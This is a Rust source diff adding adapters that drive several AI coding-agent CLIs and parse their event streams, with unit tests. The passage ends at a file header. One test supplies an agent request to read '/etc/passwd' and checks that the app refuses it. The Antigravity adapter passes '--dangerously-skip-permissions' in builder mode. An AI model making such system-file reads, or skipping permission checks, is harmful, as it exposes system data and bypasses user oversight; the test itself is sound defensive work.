c.line(r#"{"jsonrpc":"2.0","id":1,"error":{"code":-32603,"message":"not signed in"}}"#); + assert!(failed.contains(&Out::TurnEnded)); + let again = sent(&c.prompt("Hello")); + assert_eq!(again[0]["method"], "initialize", "the next message starts the agent's session again"); + let failed = c.line(r#"{"jsonrpc":"2.0","id":2,"error":{"code":-32603,"message":"not signed in"}}"#); + assert!(failed.contains(&Out::TurnEnded), "a second failure ends that message too"); + c.prompt("Hello"); + let stopped = c.cancel(); + assert!(stopped.contains(&Out::TurnEnded), "Stop ends a message still waiting for the session"); + assert!(sent(&c.line(r#"{"jsonrpc":"2.0","id":3,"result":{}}"#)).iter().all(|m| m["method"] != "session/prompt")); + } + + #[test] + fn errors_end_the_turn_and_unoffered_requests_are_refused() { + let mut c = core(None); + c.start(); + c.prompt("hi"); + let outs = c.line(r#"{"jsonrpc":"2.0","id":1,"error":{"code":-32000,"message":"Authentication required"}}"#); + assert!(outs.contains(&Out::TurnEnded)); + assert!(matches!(&events(outs)[0], AgentEvent::Error { message, remediation: Some(_), .. } if message.contains("Authentication required"))); + let refused = sent(&c.line(r#"{"jsonrpc":"2.0","id":9,"method":"fs/read_text_file","params":{"path":"/etc/passwd"}}"#)); + assert_eq!(refused[0]["error"]["code"], -32601); + assert!(c.line("not json").is_empty()); + } + + #[test] + fn a_builder_sends_permission_requests_to_the_approval_policy() { + let mut c = core(None).deciding(); + let outs = c.line( + r#"{"jsonrpc":"2.0","id":4,"method":"session/request_permission","params":{"toolCall":{"toolCallId":"t","title":"Edit App.tsx","kind":"edit","locations":[{"path":"/w/project/app/src/App.tsx"}]},"options":[{"optionId":"ok","name":"Allow","kind":"allow_once"},{"optionId":"no","name":"Reject","kind":"reject_once"}]}}"#, + ); + let [Out::Decide { call_id, tool, input }] = &outs[..] else { panic!("{outs:?}") }; + assert_eq!((tool.as_str(), input), ("Write", &json!({"file_path": "/w/project/app/src/App.tsx"}))); + assert_eq!(sent(&c.answer(call_id, false))[0]["result"]["outcome"]["optionId"], "no"); + + let run = |kind: &str, raw: Value| policy_action(&json!({"kind": kind, "title": "t", "rawInput": raw})); + assert_eq!(run("execute", json!({"command": "npm run build"})), ("Bash".to_string(), json!({"command": "npm run build"}))); + assert_eq!(run("execute", json!({"command": ["cargo", "build"]})).1, json!({"command": "cargo build"})); + assert_eq!(run("read", json!({"path": "/a"})).0, "Read"); + assert_eq!(run("fetch", json!({"url": "https://x"})).0, "WebFetch"); + assert_eq!(run("other", json!({})).0, "t", "unknown kinds are asked about by title"); + } + + #[test] + fn maki_starts_in_acp_mode_with_the_backends_model() { + assert_eq!(acp_args("maki"), Some(&["acp"][..])); + assert_eq!(model_args("maki", Some(" anthropic/claude-sonnet-4-6 ")), ["-m", "anthropic/claude-sonnet-4-6"]); + assert!(model_args("maki", None).is_empty() && model_args("maki", Some(" ")).is_empty()); + // An agent whose ACP mode isn't known to take a model keeps its own, as before. + assert!(model_args("opencode", Some("x/y")).is_empty()); + } + + /// `maki -m acp` starts with Maki's default model: the flag only counts after `acp`. + #[test] + fn a_maki_backend_runs_acp_then_its_model_after_its_own_args() { + let config = crate::BackendConfig { + name: "Maki".into(), + kind: crate::BackendKind::AgentCli, + model: "maki".into(), + base_url: None, + ssh_host: None, + enabled: true, + }; + let options = crate::BackendOptions { + acp: Some(true), + cli_model: Some("anthropic/claude-sonnet-4-6".into()), + args: vec!["--no-plugins".into()], + ..Default::default() + }; + let Some(c) = super::super::acp_for(&super::super::CliSpec::new(config, options, false, None)) else { panic!("Maki speaks ACP") }; + assert_eq!((c.program.as_str(), c.args.as_slice()), ("maki", &["--no-plugins", "acp", "-m", "anthropic/claude-sonnet-4-6"].map(String::from)[..])); + } + + #[test] + fn stopping_cancels_the_prompt_and_open_questions() { + let mut c = core(None); + c.start(); + c.prompt("long task"); + c.line(r#"{"jsonrpc":"2.0","id":1,"result":{}}"#); + c.line(r#"{"jsonrpc":"2.0","id":2,"result":{"sessionId":"s"}}"#); + c.line(r#"{"jsonrpc":"2.0","id":5,"method":"session/request_permission","params":{"toolCall":{"title":"Edit"},"options":[]}}"#); + let out = sent(&c.cancel()); + assert!(out.iter().any(|m| m["id"] == 5 && m["result"]["outcome"]["outcome"] == "cancelled")); + assert!(out.iter().any(|m| m["method"] == "session/cancel" && m["params"]["sessionId"] == "s")); + } +} diff --git a/desktop/crates/ai/src/cli_agents/adapters.rs b/desktop/crates/ai/src/cli_agents/adapters.rs new file mode 100644 index 0000000..a54d0eb --- /dev/null +++ b/desktop/crates/ai/src/cli_agents/adapters.rs @@ -0,0 +1,458 @@ +//! How each agent CLI is driven: its arguments, the flags it must have, how its output stream +//! reads, and anything it needs before a run (a sign-in check). Each is an [`AgentAdapter`]; an +//! [`AgentAdapters`] registry maps agent ids to them, and an agent it doesn't know gets the plain +//! adapter (prompt in, text out). Add an agent by implementing the trait and registering it. + +use super::*; + +mod antigravity; +mod hermes; +mod maki; +mod opencode; +pub use antigravity::Antigravity; +pub use hermes::Hermes; +pub use maki::Maki; +pub use opencode::OpenCode; + +/// What a run's arguments are built from. +pub struct ArgsCx<'a> { + pub options: &'a BackendOptions, + /// The message, already protected from being read as a flag. + pub prompt: &'a str, + pub preamble: &'a str, + pub mcp: &'a McpCommand, + /// A saved session to continue (only passed to adapters that [`resume`](AgentAdapter::resumes)). + pub resume: Option<&'a str>, + /// Build mode: the agent may edit files; approvals and questions come to us. + pub builder: bool, + /// Clean room: reads go through our approval tool too, so the original stays out of reach. + pub reads_checked: bool, + /// A question about a build: only reading (none in Clean room), a resumed session forked and + /// not kept, no tool server. + pub question: bool, +} + +/// One way of driving an agent CLI. +pub trait AgentAdapter: Send + Sync { + /// The agent id this adapter is registered under (`claude-code`), plus any other names. + fn ids(&self) -> &'static [&'static str]; + /// argv after the program for one message. + fn args(&self, cx: &ArgsCx) -> Vec; + /// `(help invocation, substrings it must mention)`, checked once before the first run; when + /// they're missing the run falls back to the plain adapter. Empty: nothing to check. + fn required_flags(&self) -> (&'static [&'static str], &'static [&'static str]) { + (&[], &[]) + } + /// `program ` answers and exits, so the plain adapter is a fallback. When it opens an + /// interactive session instead, a failed flag check keeps this adapter, and the run says what + /// went wrong (#199). + fn plain_fallback(&self) -> bool { + true + } + /// The CLI writes one JSON event per line (else its output is the answer text). + fn streams_json(&self) -> bool { + true + } + /// Events for one parsed JSON line. + fn parse(&self, _p: &mut StreamParser, _v: &Value) -> Vec { + Vec::new() + } + /// It can continue a saved session. + fn resumes(&self) -> bool { + false + } + /// It honours [`ArgsCx::question`]: it can be held to reading only, and a resumed session + /// isn't changed. Questions about a build go only to adapters that say so. + fn answers_questions(&self) -> bool { + false + } + /// The message goes in on stdin, not in argv: a long one passes Windows' command-line limit + /// ("The filename or extension is too long", os error 206, #402). + fn prompt_on_stdin(&self) -> bool { + false + } + /// The process for a local run of `program` (an adapter may clean its environment). + fn process(&self, program: &str) -> Process { + Process::new(program) + } + /// Whether it's signed in, checked before a build starts. `None`: can't tell (the run itself + /// reports any sign-in problem). + fn signed_in(&self, _program: &str) -> Option { + None + } + /// The plain-words fix when [`signed_in`](AgentAdapter::signed_in) says no. + fn sign_in_fix(&self) -> Option { + None + } + /// Whether what a build needs from this computer is there, for an agent that's handed our tool + /// server, checked before a build starts. An agent that isn't handed it has nothing to check. + /// `stop` ends the check when the person stops the build. + fn check_tool_server(&self, _stop: &CancelToken) -> Result<(), ToolError> { + Ok(()) + } +} + +/// The adapters a run can use. +#[derive(Clone)] +pub struct AgentAdapters { + adapters: Vec>, +} + +impl std::fmt::Debug for AgentAdapters { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_list().entries(self.adapters.iter().map(|a| a.ids().first().copied().unwrap_or_default())).finish() + } +} + +impl Default for AgentAdapters { + fn default() -> Self { + AgentAdapters::built_in() + } +} + +impl AgentAdapters { + /// Claude Code, Codex, Gemini CLI, OpenCode, Antigravity, Hermes and Maki. + pub fn built_in() -> AgentAdapters { + AgentAdapters { + adapters: vec![ + Arc::new(ClaudeCode), + Arc::new(Codex), + Arc::new(GeminiCli), + Arc::new(OpenCode), + Arc::new(Antigravity), + Arc::new(Hermes), + Arc::new(Maki), + ], + } + } + + /// Add an adapter; it takes over any ids it shares with one already registered. + pub fn register(&mut self, adapter: Arc) { + self.adapters.retain(|a| !a.ids().iter().any(|id| adapter.ids().contains(id))); + self.adapters.push(adapter); + } + + /// The adapter for an agent id; one it doesn't know gets the plain adapter. + pub fn for_agent(&self, agent: &str) -> Arc { + self.adapters.iter().find(|a| a.ids().contains(&agent)).cloned().unwrap_or_else(|| Arc::new(Plain)) + } +} + +/// Any CLI: the prompt as its last argument, its output streamed as text. +pub struct Plain; + +impl AgentAdapter for Plain { + fn ids(&self) -> &'static [&'static str] { + &[] + } + fn args(&self, cx: &ArgsCx) -> Vec { + let mut a = cx.options.args.clone(); + a.push(format!("{}{}", cx.preamble, cx.prompt)); + a + } + fn streams_json(&self) -> bool { + false + } +} + +/// Claude Code settings with one PostToolUse hook, run after every tool call: our CLI hands over +/// the notes waiting in `dir` (`craft-anything-cli builder-notes `). Paths use forward +/// slashes and quotes so the hook's shell reads them the same on every platform. +pub fn notes_hook_settings(cli: &str, dir: &std::path::Path) -> String { + let fwd = |s: &str| s.replace('\\', "/"); + let command = format!("\"{}\" builder-notes \"{}\"", fwd(cli), fwd(&dir.display().to_string())); + json!({"hooks": {"PostToolUse": [{"matcher": "*", "hooks": [{"type": "command", "command": command, "timeout": 10}]}]}}).to_string() +} + +/// Claude Code's tools that change something or reach outside, refused for a question. +const CHANGING_TOOLS: &[&str] = + &["Write", "Edit", "MultiEdit", "NotebookEdit", "Bash", "PowerShell", "WebFetch", "WebSearch", "Task", "TodoWrite", "AskUserQuestion"]; + +/// Claude Code answering a question about a build: the builder's session copied +/// (`--fork-session`) and the copy not kept, no tool server, and only Read, Glob and Grep (none in +/// Clean room). +fn question_args(mut a: Vec, cx: &ArgsCx) -> Vec { + a.extend([ + "-p".into(), + "--output-format".into(), + "stream-json".into(), + "--verbose".into(), + "--append-system-prompt".into(), + cx.preamble.to_string(), + "--model".into(), + cx.options.cli_model.clone().unwrap_or_else(|| crate::anthropic::DEFAULT_MODEL.into()), + ]); + if let Some(r) = cx.resume { + a.extend(["--resume".into(), r.to_string(), "--fork-session".into()]); + } + a.extend(["--no-session-persistence".into(), "--strict-mcp-config".into(), "--disallowedTools".into()]); + a.extend(CHANGING_TOOLS.iter().map(|t| t.to_string())); + if !cx.reads_checked { + a.extend(["--allowedTools", "Read", "Glob", "Grep"].map(String::from)); + } + a +} + +/// Claude Code in headless mode (flags checked against `claude --help`). +pub struct ClaudeCode; + +impl AgentAdapter for ClaudeCode { + fn ids(&self) -> &'static [&'static str] { + &["claude-code", "claude"] + } + + fn answers_questions(&self) -> bool { + true + } + + fn prompt_on_stdin(&self) -> bool { + true + } + + fn check_tool_server(&self, stop: &CancelToken) -> Result<(), ToolError> { + cli_can_start(craft_anything_platform::self_cli_path().as_deref(), stop) + } + + fn args(&self, cx: &ArgsCx) -> Vec { + let mut a = cx.options.args.clone(); + if cx.question { + return question_args(a, cx); + } + let mcp_json = json!({"mcpServers": {MCP_NAME: {"command": cx.mcp.command, "args": cx.mcp.args}}}).to_string(); + a.extend(["-p".into(), "--output-format".into(), "stream-json".into(), "--verbose".into(), "--append-system-prompt".into(), cx.preamble.to_string()]); + // Opus 5.5 everywhere unless config.toml names another model on purpose; the effort + // goes in through the environment (see `run_cli`). + a.extend(["--model".into(), cx.options.cli_model.clone().unwrap_or_else(|| crate::anthropic::DEFAULT_MODEL.into())]); + if let Some(r) = cx.resume { + a.extend(["--resume".into(), r.to_string()]); + } + if cx.builder { + // Questions go through our core_person_ask tool, which the app shows as buttons. + a.extend(["--permission-prompt-tool".into(), format!("mcp__{MCP_NAME}__{APPROVAL_TOOL}"), "--disallowedTools".into(), "AskUserQuestion".into()]); + } + if let Some(dir) = cx.mcp.notes.as_deref().filter(|_| cx.builder) { + // After every tool call, notes the person added meanwhile reach the model as context. + a.extend(["--settings".into(), notes_hook_settings(&cx.mcp.command, dir)]); + } + a.extend(["--strict-mcp-config".into(), "--mcp-config".into(), mcp_json, "--allowedTools".into(), format!("mcp__{MCP_NAME}__*")]); + if cx.builder && cx.reads_checked { + a.push("TodoWrite".into()); + } else if cx.builder { + a.extend(["Read", "Glob", "Grep", "TodoWrite"].map(String::from)); + } + a + } + + fn parse(&self, p: &mut StreamParser, v: &Value) -> Vec { + let mut out = Vec::new(); + let s = |k: &str| v.get(k).and_then(Value::as_str).unwrap_or_default().to_string(); + if let Some(id) = v.get("session_id").and_then(Value::as_str) { + p.session_id = Some(id.to_string()); + } + match s("type").as_str() { + "assistant" => { + for b in v.pointer("/message/content").and_then(Value::as_array).cloned().unwrap_or_default() { + match b.get("type").and_then(Value::as_str).unwrap_or_default() { + "text" => out.push(AgentEvent::TextDelta { text: b.get("text").and_then(Value::as_str).unwrap_or_default().to_string() }), + "tool_use" => { + let id = b.get("id").and_then(Value::as_str).unwrap_or_default().to_string(); + let name = b.get("name").and_then(Value::as_str).unwrap_or_default().to_string(); + out.push(p.started(&id, &name, b.get("input").cloned().unwrap_or(Value::Null))); + } + _ => {} + } + } + } + "user" => { + for b in v.pointer("/message/content").and_then(Value::as_array).cloned().unwrap_or_default() { + if b.get("type").and_then(Value::as_str) == Some("tool_result") { + let id = b.get("tool_use_id").and_then(Value::as_str).unwrap_or_default().to_string(); + let err = b.get("is_error").and_then(Value::as_bool).unwrap_or(false); + let text = content_text(b.get("content").unwrap_or(&Value::Null)); + out.push(p.finished(&id, !err, &text)); + } + } + } + "result" => { + p.saw_result = true; + p.cost_usd = v.get("total_cost_usd").and_then(Value::as_f64); + if let Some(u) = v.get("usage") { + p.input_tokens = u + .get("input_tokens") + .and_then(Value::as_u64) + .unwrap_or(0) + .saturating_add(u.get("cache_read_input_tokens").and_then(Value::as_u64).unwrap_or(0)); + p.output_tokens = u.get("output_tokens").and_then(Value::as_u64).unwrap_or(0); + } + if v.get("is_error").and_then(Value::as_bool).unwrap_or(false) { + let why = if s("result").is_empty() { s("subtype") } else { s("result") }; + let (message, remediation) = claude_code_failure(&why); + out.push(AgentEvent::Error { message, remediation, log: None }); + } + } + _ => {} + } + out + } + + fn resumes(&self) -> bool { + true + } + + /// The person's own standalone Claude Code (see [`host_session_vars`]). + fn process(&self, program: &str) -> Process { + standalone(program) + } + + fn signed_in(&self, program: &str) -> Option { + let out = standalone(program).args(["auth", "status", "--json"]).timeout(Duration::from_secs(15)).stdout_cap(64 * 1024).run().ok()?; + let v: Value = serde_json::from_str(out.stdout_text().trim()).ok()?; + v.get("loggedIn").and_then(Value::as_bool) + } + + fn sign_in_fix(&self) -> Option { + sign_in_hint("login") + } +} + +/// Codex (`codex exec --json`). Flags are checked against `codex exec --help` before use. +pub struct Codex; + +impl AgentAdapter for Codex { + fn ids(&self) -> &'static [&'static str] { + &["codex"] + } + + fn check_tool_server(&self, stop: &CancelToken) -> Result<(), ToolError> { + cli_can_start(craft_anything_platform::self_cli_path().as_deref(), stop) + } + + fn args(&self, cx: &ArgsCx) -> Vec { + let mut v = vec!["exec".to_string(), "--json".into()]; + // Project folders aren't git repositories, and `codex exec` refuses to run outside one + // without this (#69). Not twice: it may already be in the backend's own args. + const SKIP_GIT: &str = "--skip-git-repo-check"; + if !cx.options.args.iter().any(|a| a == SKIP_GIT) { + v.push(SKIP_GIT.into()); + } + if cx.builder { + v.extend(["--sandbox".into(), "workspace-write".into()]); + } + v.extend(["-c".into(), format!("mcp_servers.{MCP_NAME}.command={}", toml_string(&cx.mcp.command))]); + let args_toml = format!("[{}]", cx.mcp.args.iter().map(|s| toml_string(s)).collect::>().join(", ")); + v.extend(["-c".into(), format!("mcp_servers.{MCP_NAME}.args={args_toml}")]); + if let Some(m) = &cx.options.cli_model { + v.extend(["-m".into(), m.clone()]); + } + v.extend(cx.options.args.iter().cloned()); + v.push(format!("{}{}", cx.preamble, cx.prompt)); + v + } + + fn required_flags(&self) -> (&'static [&'static str], &'static [&'static str]) { + (&["exec", "--help"], &["--json"]) + } + + /// Plain `codex ` is the interactive TUI: "stdin is not a terminal". + fn plain_fallback(&self) -> bool { + false + } + + fn parse(&self, p: &mut StreamParser, v: &Value) -> Vec { + let mut out = Vec::new(); + let t = v.get("type").and_then(Value::as_str).unwrap_or_default(); + if let Some(id) = v.get("thread_id").and_then(Value::as_str) { + p.session_id = Some(id.to_string()); + } + let item = v.get("item").cloned().unwrap_or(Value::Null); + let it = item.get("type").and_then(Value::as_str).unwrap_or_default(); + let id = item.get("id").and_then(Value::as_str).unwrap_or_default().to_string(); + match (t, it) { + ("item.completed", "agent_message") => { + out.push(AgentEvent::TextDelta { text: format!("{}\n", item.get("text").and_then(Value::as_str).unwrap_or_default()) }) + } + ("item.completed", "reasoning") => out.push(AgentEvent::Status { text: summary_of(item.get("text").and_then(Value::as_str).unwrap_or_default()) }), + ("item.started", "mcp_tool_call") => { + let name = item.get("tool").and_then(Value::as_str).unwrap_or_default().to_string(); + out.push(p.started(&id, &name, item.get("arguments").cloned().unwrap_or(Value::Null))); + } + ("item.completed", "mcp_tool_call") => { + if !p.tool_names.contains_key(&id) { + let name = item.get("tool").and_then(Value::as_str).unwrap_or_default().to_string(); + out.push(p.started(&id, &name, item.get("arguments").cloned().unwrap_or(Value::Null))); + } + let failed = item.get("status").and_then(Value::as_str) == Some("failed") || item.get("error").is_some_and(|e| !e.is_null()); + let text = item.get("result").or_else(|| item.get("error")).map(|r| r.to_string()).unwrap_or_default(); + out.push(p.finished(&id, !failed, &text)); + } + ("item.started", "command_execution") => { + out.push(AgentEvent::Status { text: format!("Running: {}", summary_of(item.get("command").and_then(Value::as_str).unwrap_or_default())) }) + } + ("turn.completed", _) => { + p.saw_result = true; + if let Some(u) = v.get("usage") { + p.input_tokens = p.input_tokens.saturating_add(u.get("input_tokens").and_then(Value::as_u64).unwrap_or(0)); + p.output_tokens = p.output_tokens.saturating_add(u.get("output_tokens").and_then(Value::as_u64).unwrap_or(0)); + } + } + ("turn.failed", _) | ("error", _) => { + let m = v.pointer("/error/message").or_else(|| v.get("message")).and_then(Value::as_str).unwrap_or("unknown error"); + out.push(AgentEvent::Error { message: format!("Codex: {m}"), remediation: None, log: None }); + } + _ => {} + } + out + } +} + +/// Gemini CLI (`--output-format stream-json`). Flags are checked against `gemini --help`. +pub struct GeminiCli; + +impl AgentAdapter for GeminiCli { + fn ids(&self) -> &'static [&'static str] { + &["gemini-cli", "gemini"] + } + + fn args(&self, cx: &ArgsCx) -> Vec { + let mut a = cx.options.args.clone(); + if let Some(m) = &cx.options.cli_model { + a.extend(["-m".into(), m.clone()]); + } + a.extend(["--output-format".into(), "stream-json".into(), "-p".into(), format!("{}{}", cx.preamble, cx.prompt)]); + a + } + + fn required_flags(&self) -> (&'static [&'static str], &'static [&'static str]) { + (&["--help"], &["--output-format", "stream-json"]) + } + + fn parse(&self, p: &mut StreamParser, v: &Value) -> Vec { + let mut out = Vec::new(); + let s = |k: &str| v.get(k).and_then(Value::as_str).unwrap_or_default().to_string(); + match s("type").as_str() { + "init" => p.session_id = v.get("session_id").and_then(Value::as_str).map(str::to_string), + "message" if s("role") == "assistant" => out.push(AgentEvent::TextDelta { text: s("content") }), + "tool_use" => { + let id = s("tool_id"); + let name = s("tool_name"); + out.push(p.started(&id, &name, v.get("parameters").cloned().unwrap_or(Value::Null))); + } + "tool_result" => { + let id = s("tool_id"); + let ok = s("status") != "error"; + let text = v.get("output").map(content_text).unwrap_or_default(); + out.push(p.finished(&id, ok, &text)); + } + "error" => out.push(AgentEvent::Error { message: format!("Gemini CLI: {}", s("message")), remediation: None, log: None }), + "result" => { + p.saw_result = true; + if let Some(st) = v.get("stats") { + p.input_tokens = st.get("input_tokens").and_then(Value::as_u64).unwrap_or(0); + p.output_tokens = st.get("output_tokens").and_then(Value::as_u64).unwrap_or(0); + } + } + _ => {} + } + out + } +} diff --git a/desktop/crates/ai/src/cli_agents/adapters/antigravity.rs b/desktop/crates/ai/src/cli_agents/adapters/antigravity.rs new file mode 100644 index 0000000..d1ade73 --- /dev/null +++ b/desktop/crates/ai/src/cli_agents/adapters/antigravity.rs @@ -0,0 +1,260 @@ +//! Antigravity (`agy`). Flags are checked against `agy --help`. +//! +//! Antigravity runs prompts non-interactively with `--output-format stream-json -p `. +//! In builder mode, `--dangerously-skip-permissions` is passed so tool requests proceed without prompting. + +use super::*; + +pub struct Antigravity; + +impl AgentAdapter for Antigravity { + fn ids(&self) -> &'static [&'static str] { + &["antigravity", "agy"] + } + + fn args(&self, cx: &ArgsCx) -> Vec { + let mut a = cx.options.args.clone(); + if cx.builder { + a.push("--dangerously-skip-permissions".into()); + } + if let Some(m) = &cx.options.cli_model { + a.extend(["--model".into(), m.clone()]); + } + if let Some(r) = cx.resume { + a.extend(["--conversation".into(), r.to_string()]); + } + a.extend(["--output-format".into(), "stream-json".into(), "-p".into(), format!("{}{}", cx.preamble, cx.prompt)]); + a + } + + fn required_flags(&self) -> (&'static [&'static str], &'static [&'static str]) { + (&["--help"], &["--output-format", "stream-json"]) + } + + fn streams_json(&self) -> bool { + true + } + + fn resumes(&self) -> bool { + true + } + + fn parse(&self, p: &mut StreamParser, v: &Value) -> Vec { + let mut out = Vec::new(); + let event = v.get("event").and_then(Value::as_str).unwrap_or_default(); + match event { + "init" => { + if let Some(id) = v.get("conversation_id").and_then(Value::as_str) { + p.session_id = Some(id.to_string()); + } + } + "step_update" => { + let Some(su) = v.get("step_update") else { return out }; + if let Some(id) = su.get("conversation_id").and_then(Value::as_str) { + p.session_id.get_or_insert_with(|| id.to_string()); + } + let step_type = su.get("step_type").and_then(Value::as_str).unwrap_or_default(); + let state = su.get("state").and_then(Value::as_str).unwrap_or_default(); + match step_type { + "agent_response" => { + if let Some(text) = su.get("text_delta").and_then(Value::as_str).filter(|t| !t.is_empty()) { + out.push(AgentEvent::TextDelta { text: text.to_string() }); + } + } + "tool" => { + let id = su.get("step_index").map(|i| i.to_string()).unwrap_or_default(); + let name = su.get("tool_name").or_else(|| su.pointer("/tool_info/name")).and_then(Value::as_str).unwrap_or_default(); + if state == "ACTIVE" { + let input = su.pointer("/tool_info/parameters").cloned().unwrap_or(Value::Null); + out.push(p.started(&id, name, input)); + } else if state == "DONE" || state == "ERROR" { + if !p.tool_names.contains_key(&id) { + let input = su.pointer("/tool_info/parameters").cloned().unwrap_or(Value::Null); + out.push(p.started(&id, name, input)); + } + let ok = state != "ERROR" && su.pointer("/tool_info/error").is_none(); + let text = su.pointer("/tool_info/output").or_else(|| su.pointer("/tool_info/error")).map(content_text).unwrap_or_default(); + out.push(p.finished(&id, ok, &text)); + } + } + _ => {} + } + } + "result" => { + p.saw_result = true; + if let Some(res) = v.get("result") { + if let Some(u) = res.get("usage") { + let in_tok = u.get("input_tokens").and_then(Value::as_u64).unwrap_or(0); + let cache_tok = u.get("cache_read_tokens").and_then(Value::as_u64).unwrap_or(0); + p.input_tokens = in_tok.saturating_add(cache_tok); + let out_tok = u.get("output_tokens").and_then(Value::as_u64).unwrap_or(0); + let think_tok = u.get("thinking_tokens").and_then(Value::as_u64).unwrap_or(0); + p.output_tokens = out_tok.saturating_add(think_tok); + } + if res.get("status").and_then(Value::as_str) == Some("ERROR") { + let why = res.get("error").or_else(|| res.get("response")).and_then(Value::as_str).unwrap_or("run failed"); + out.push(AgentEvent::Error { message: format!("Antigravity: {why}"), remediation: None, log: None }); + } + } + } + "error" => { + let msg = v.pointer("/error/message").or_else(|| v.get("error")).and_then(Value::as_str).unwrap_or("unknown error"); + out.push(AgentEvent::Error { message: format!("Antigravity: {msg}"), remediation: None, log: None }); + } + _ => {} + } + out + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn args(builder: bool, resume: Option<&str>, options: &BackendOptions) -> Vec { + let mcp = McpCommand { command: "craft-anything-cli".into(), args: vec!["mcp".into()], notes: None }; + Antigravity.args(&ArgsCx { options, prompt: "analyse repo", preamble: "PRE ", mcp: &mcp, resume, builder, reads_checked: false, question: false }) + } + + #[test] + fn antigravity_args_construction() { + let default_opts = BackendOptions::default(); + assert_eq!(args(false, None, &default_opts), ["--output-format", "stream-json", "-p", "PRE analyse repo"]); + + let builder_opts = + BackendOptions { cli_model: Some("Gemini 3.8 Flash (Medium)".into()), args: vec!["--add-dir".into(), "/repo".into()], ..Default::default() }; + assert_eq!( + args(true, Some("conv-123"), &builder_opts), + [ + "--add-dir", + "/repo", + "--dangerously-skip-permissions", + "--model", + "Gemini 3.8 Flash (Medium)", + "--conversation", + "conv-123", + "--output-format", + "stream-json", + "-p", + "PRE analyse repo" + ] + ); + assert!(Antigravity.resumes()); + assert_eq!(Antigravity.required_flags(), (&["--help"][..], &["--output-format", "stream-json"][..])); + assert!(AgentAdapters::built_in().for_agent("antigravity").ids().contains(&"antigravity")); + assert!(AgentAdapters::built_in().for_agent("agy").ids().contains(&"agy")); + } + + #[test] + fn antigravity_stream_parsing() { + let adapter: Arc = Arc::new(Antigravity); + let mut p = StreamParser::new(adapter); + + let init = json!({ + "event": "init", + "conversation_id": "conv-456", + "init": {"cwd": "/tmp", "permission_mode": "always-proceed"} + }); + assert!(p.line(&init.to_string()).is_empty()); + assert_eq!(p.session_id.as_deref(), Some("conv-456")); + + let text_step = json!({ + "event": "step_update", + "step_update": { + "conversation_id": "conv-456", + "step_index": 1, + "state": "ACTIVE", + "step_type": "agent_response", + "text_delta": "Hello from Antigravity!" + } + }); + let evs = p.line(&text_step.to_string()); + assert_eq!(evs.len(), 1); + match &evs[0] { + AgentEvent::TextDelta { text } => assert_eq!(text, "Hello from Antigravity!"), + other => panic!("expected TextDelta, got {other:?}"), + } + + let tool_active = json!({ + "event": "step_update", + "step_update": { + "step_index": 2, + "state": "ACTIVE", + "step_type": "tool", + "tool_name": "run_command", + "tool_info": { + "name": "run_command", + "parameters": {"CommandLine": "cargo check"} + } + } + }); + let evs = p.line(&tool_active.to_string()); + assert_eq!(evs.len(), 1); + match &evs[0] { + AgentEvent::ToolStarted { call_id, tool, input } => { + assert_eq!(call_id, "2"); + assert_eq!(tool, "run_command"); + assert_eq!(input["CommandLine"], "cargo check"); + } + other => panic!("expected ToolStarted, got {other:?}"), + } + + let tool_done = json!({ + "event": "step_update", + "step_update": { + "step_index": 2, + "state": "DONE", + "step_type": "tool", + "tool_name": "run_command", + "tool_info": { + "name": "run_command", + "parameters": {"CommandLine": "cargo check"}, + "output": "Finished dev profile" + } + } + }); + let evs = p.line(&tool_done.to_string()); + assert_eq!(evs.len(), 1); + match &evs[0] { + AgentEvent::ToolFinished { call_id, tool, ok, summary, .. } => { + assert_eq!(call_id, "2"); + assert_eq!(tool, "run_command"); + assert!(ok); + assert_eq!(summary, "Finished dev profile"); + } + other => panic!("expected ToolFinished, got {other:?}"), + } + + let result = json!({ + "event": "result", + "result": { + "conversation_id": "conv-456", + "status": "SUCCESS", + "response": "Done!", + "usage": { + "input_tokens": 100, + "output_tokens": 50, + "thinking_tokens": 10, + "cache_read_tokens": 20, + "total_tokens": 180 + } + } + }); + let evs = p.line(&result.to_string()); + assert!(evs.is_empty()); + assert!(p.saw_result); + assert_eq!(p.input_tokens, 120); + assert_eq!(p.output_tokens, 60); + + let err = json!({ + "event": "error", + "error": "authentication expired" + }); + let evs = p.line(&err.to_string()); + assert_eq!(evs.len(), 1); + match &evs[0] { + AgentEvent::Error { message, .. } => assert!(message.contains("authentication expired")), + other => panic!("expected Error, got {other:?}"), + } + } +} diff --git a/desktop/crates/ai/src/cli_agents/adapters/hermes.rs b/desktop/crates/ai/src/cli_agents/adapters/hermes.rs new file mode 100644 index 0000000..f7518dc --- /dev/null +++ b/desktop/crates/ai/src/cli_agents/adapters/hermes.rs @@ -0,0 +1,57 @@ +//! Hermes Agent (`hermes -z`). +//! +//! Hermes declares `-z/--oneshot` with `metavar="PROMPT"`, taking the prompt as its value. +//! Model `-m` and custom args come before `-z `. + +use super::*; + +pub struct Hermes; + +impl AgentAdapter for Hermes { + fn ids(&self) -> &'static [&'static str] { + &["hermes"] + } + + fn args(&self, cx: &ArgsCx) -> Vec { + let mut v = Vec::new(); + if let Some(m) = &cx.options.cli_model { + v.extend(["-m".into(), m.clone()]); + } + v.extend(cx.options.args.iter().cloned()); + v.extend(["-z".into(), format!("{}{}", cx.preamble, cx.prompt)]); + v + } + + fn required_flags(&self) -> (&'static [&'static str], &'static [&'static str]) { + (&["--help"], &["--oneshot"]) + } + + /// Plain `hermes ` opens the interactive session; a failed flag check keeps this adapter. + fn plain_fallback(&self) -> bool { + false + } + + fn streams_json(&self) -> bool { + false + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn args(builder: bool, options: &BackendOptions) -> Vec { + let mcp = McpCommand { command: "craft-anything-cli".into(), args: vec!["mcp".into()], notes: None }; + Hermes.args(&ArgsCx { options, prompt: "make a game", preamble: "PRE ", mcp: &mcp, resume: None, builder, reads_checked: false, question: false }) + } + + #[test] + fn the_prompt_goes_to_oneshot_after_the_flags() { + assert_eq!(args(false, &BackendOptions::default()), ["-z", "PRE make a game"]); + let options = BackendOptions { cli_model: Some("custom/qwen-2.5-coder".into()), args: vec!["-t".into(), "0.2".into()], ..Default::default() }; + assert_eq!(args(true, &options), ["-m", "custom/qwen-2.5-coder", "-t", "0.2", "-z", "PRE make a game"]); + assert!(AgentAdapters::built_in().for_agent("hermes").ids().contains(&"hermes"), "registered, not the plain adapter"); + assert_eq!(Hermes.required_flags(), (&["--help"][..], &["--oneshot"][..])); + assert!(!Hermes.plain_fallback()); + } +} diff --git a/desktop/crates/ai/src/cli_agents/adapters/maki.rs 